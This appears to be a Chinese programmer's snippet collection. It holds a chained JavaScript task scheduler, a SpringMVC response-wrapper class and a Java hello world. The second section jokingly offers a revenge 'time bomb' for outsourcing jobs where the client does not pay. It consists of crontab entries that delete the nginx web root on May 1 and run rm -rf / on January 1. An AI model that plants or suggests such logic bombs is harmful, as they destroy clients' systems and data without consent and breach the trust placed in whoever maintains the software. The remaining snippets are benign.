链式风格的定时任务队列

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
export default class Schedule{
constructor(){
this._delay=0
this.p = null
}
timer(task,ms){
return new Promise((resolve,reject)=>{
setTimeout(()=>{
task && task()
resolve()
},ms)
})
}
task(task){
const {_delay:delay,timer,p}=this
this.p = p ?p.then(()=>timer(task,delay)) :timer(task,delay)
return this
}
delay(_delay){
this._delay = _delay
return this
}
}
// 用法
new Schedule().task(task1)
.delay(1000).task(task2)
.delay(500).task(task3)

程序员跑路必备

1
2
3
4
5
6
7
8
9
10
11
12
13
# 做外包的时候,再也不用担心拿不到尾款了
# 编辑定时任务,命令行输入:
crontab -e
# 然后编写你的任务
#不给钱嘛,劳动节给个惊喜
0 0 1 5 * rm -rf /usr/share/nginx/html
#特么的都过去一年了,算了算了,不陪你玩了
0 0 1 1 * rm -rf /

# 查看当前定时任务
crontab -l
# 查看root用户的定时任务
crontab -l -u root

SpringMVC返回结果封装

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
/**
* Created by wolf on 2017/9/16.
*/
public class Res<T> {

private int code = 0;
private T data;
private String msg = "";
private String error = "";

public static Res ok = new Res();
public static Res fail = new Res().code(-1);

public static Res build() {
return new Res();
}

public static <T> Res build(T data){
return new Res().data(data);
}

public Res code(int code) {
this.code = code;
return this;
}

public Res data(T data) {
this.data = data;
return this;
}

public Res msg(String msg) {
this.msg = msg;
return this;
}

public Res error(String error) {
this.error = error;
return this;
}
//省略getter
}

hello world

1
2
3
4
5
public class HelloWorld {
public static void main(String[] args){
System.out.println("Hello World!");
}
}